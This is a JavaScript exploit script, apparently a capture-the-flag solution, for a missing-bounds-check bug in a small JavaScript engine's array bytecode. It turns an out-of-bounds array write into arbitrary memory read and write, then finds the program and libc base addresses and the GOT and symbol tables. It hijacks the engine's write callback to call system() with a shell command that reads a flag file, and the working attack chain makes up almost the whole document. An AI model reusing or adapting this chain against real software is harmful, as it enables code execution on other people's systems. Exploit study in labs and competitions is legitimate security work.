// Bug: array bytecode fast paths lost bounds checks. We use an Array OOB // write to enlarge a Uint8Array, then use it to retarget a second Uint8Array // as an arbitrary byte reader/writer. var A_LEN = 8; var BUF_SZ = 0x1000; var HUGE = 0x1fffffff; // JSValue low dword = 0x3ffffffe var a = new Array(A_LEN); var u = new Uint8Array(BUF_SZ); // Layout after u's byte buffer: // +BUF_SZ ArrayBuffer object // +BUF_SZ+32 Uint8Array object // Uint8Array.len is at object + 32, so index = A_LEN + BUF_SZ/8 + 9. a[A_LEN + (BUF_SZ >> 3) + 9] = HUGE; var victim = new Uint8Array(8); var U_AB_BYTE_BUFFER_OFF = BUF_SZ + 24; var U_TA_PROTO_OFF = BUF_SZ + 40; var VICTIM_AB_BYTE_BUFFER_OFF = BUF_SZ + 112; var CMD_OFF = 0x200; var TWO32 = 4294967296; function b8(x) { return x & 255; } function read64_heap(off) { var lo = u[off] + u[off + 1] * 256 + u[off + 2] * 65536 + u[off + 3] * 16777216; var hi = u[off + 4] + u[off + 5] * 256 + u[off + 6] * 65536 + u[off + 7] * 16777216; if (lo < 0) lo += TWO32; if (hi < 0) hi += TWO32; return hi * TWO32 + lo; } function write64_heap(off, val) { var lo = val % TWO32; var hi = Math.floor(val / TWO32); u[off] = b8(lo); u[off + 1] = b8(Math.floor(lo / 256)); u[off + 2] = b8(Math.floor(lo / 65536)); u[off + 3] = b8(Math.floor(lo / 16777216)); u[off + 4] = b8(hi); u[off + 5] = b8(Math.floor(hi / 256)); u[off + 6] = b8(Math.floor(hi / 65536)); u[off + 7] = b8(Math.floor(hi / 16777216)); } function set_victim_addr(addr) { // JSValue pointer to a fake JSByteArray whose buf starts at addr. write64_heap(VICTIM_AB_BYTE_BUFFER_OFF, addr - 7); } function read8(addr) { set_victim_addr(addr); return victim[0]; } function write8(addr, val) { set_victim_addr(addr); victim[0] = val & 255; } function read16(addr) { return read8(addr) + read8(addr + 1) * 256; } function read32(addr) { var v = read8(addr) + read8(addr + 1) * 256 + read8(addr + 2) * 65536 + read8(addr + 3) * 16777216; if (v < 0) v += TWO32; return v; } function read64(addr) { var lo, hi; set_victim_addr(addr); lo = victim[0] + victim[1] * 256 + victim[2] * 65536 + victim[3] * 16777216; hi = victim[4] + victim[5] * 256 + victim[6] * 65536 + victim[7] * 16777216; if (lo < 0) lo += TWO32; if (hi < 0) hi += TWO32; return hi * TWO32 + lo; } function write64(addr, val) { var lo = val % TWO32; var hi = Math.floor(val / TWO32); set_victim_addr(addr); victim[0] = b8(lo); victim[1] = b8(Math.floor(lo / 256)); victim[2] = b8(Math.floor(lo / 65536)); victim[3] = b8(Math.floor(lo / 16777216)); victim[4] = b8(hi); victim[5] = b8(Math.floor(hi / 256)); victim[6] = b8(Math.floor(hi / 65536)); victim[7] = b8(Math.floor(hi / 16777216)); } function write_bytes(addr, s) { var i; for (i = 0; i < s.length; i++) write8(addr + i, s.charCodeAt(i)); write8(addr + s.length, 0); } function cstr(addr) { var s = ""; var c, i; for (i = 0; i < 128; i++) { c = read8(addr + i); if (c == 0) break; s += String.fromCharCode(c); } return s; } function find_elf_base(ptr) { var page = ptr - (ptr % 4096); var i, p; for (i = 0; i < 0x10000000; i += 4096) { p = page - i; if (read32(p) == 0x464c457f) return p; } throw Error("ELF base not found"); } function dyn_info(base) { var phoff = read64(base + 0x20); var phentsz = read16(base + 0x36); var phnum = read16(base + 0x38); var dyn = 0; var i, ph, type, vaddr; for (i = 0; i < phnum; i++) { ph = base + phoff + i * phentsz; type = read32(ph); if (type == 2) { vaddr = read64(ph + 0x10); dyn = base + vaddr; break; } } if (dyn == 0) throw Error("dynamic segment not found"); return dyn; } function parse_dynamic(base) { var dyn = dyn_info(base); var out = {}; var p, tag, val; for (p = dyn; ; p += 16) { tag = read64(p); val = read64(p + 8); if (tag == 0) break; if (tag == 4) out.hash = val; else if (tag == 5) out.strtab = val; else if (tag == 6) out.symtab = val; else if (tag == 10) out.strsz = val; else if (tag == 11) out.syment = val; else if (tag == 23) out.jmprel = val; else if (tag == 2) out.pltrelsz = val; else if (tag == 9) out.relaent = val; } return out; } function abs_ptr(base, p) { if (p < base) return base + p; return p; } function find_got_symbol(base, name) { var d = parse_dynamic(base); var jmprel = abs_ptr(base, d.jmprel); var symtab = abs_ptr(base, d.symtab); var strtab = abs_ptr(base, d.strtab); var relaent = d.relaent || 24; var n = Math.floor(d.pltrelsz / relaent); var i, r, off, info, sym, st, noff, nm; for (i = 0; i < n; i++) { r = jmprel + i * relaent; off = read64(r); info = read64(r + 8); sym = Math.floor(info / TWO32); st = symtab + sym * 24; noff = read32(st); nm = cstr(strtab + noff); if (nm == name) return abs_ptr(base, off); } throw Error("GOT symbol not found: " + name); } function find_dyn_symbol(base, name) { var d = parse_dynamic(base); var symtab = abs_ptr(base, d.symtab); var strtab = abs_ptr(base, d.strtab); var strsz = d.strsz || 0x200000; var syment = d.syment || 24; var count = Math.floor((strtab - symtab) / syment); var i, st, noff, nm, value; if (count <= 0 || count > 200000) count = 20000; for (i = 0; i < count; i++) { st = symtab + i * syment; noff = read32(st); if (noff == 0 || noff >= strsz) continue; nm = cstr(strtab + noff); if (nm == name) { value = read64(st + 8); return base + value; } } throw Error("dynamic symbol not found: " + name); } var proto_val = read64_heap(U_TA_PROTO_OFF); var u_buf_val = read64_heap(U_AB_BYTE_BUFFER_OFF); var u_buf = u_buf_val + 7; // ctx->heap_base is ctx + 0x2b8. The Uint8Array prototype object is at // heap_base + 0xfb8 for this stdlib layout. var ctx = (proto_val - 1) - 0xfb8 - 0x2b8; var write_func = read64(ctx + 152); var pie = find_elf_base(write_func); var malloc_got = find_got_symbol(pie, "malloc"); var malloc_ptr = read64(malloc_got); var libc = find_elf_base(malloc_ptr); var system = find_dyn_symbol(libc, "system"); var cmd = "cat /chall/flag 2>/dev/null || cat flag"; write_bytes(u_buf + CMD_OFF, cmd); write64(ctx + 160, u_buf + CMD_OFF); // ctx->opaque write64(ctx + 152, system); // ctx->write_func // Trigger JS_PrintValueF through the public print() helper with a non-string. print(1337);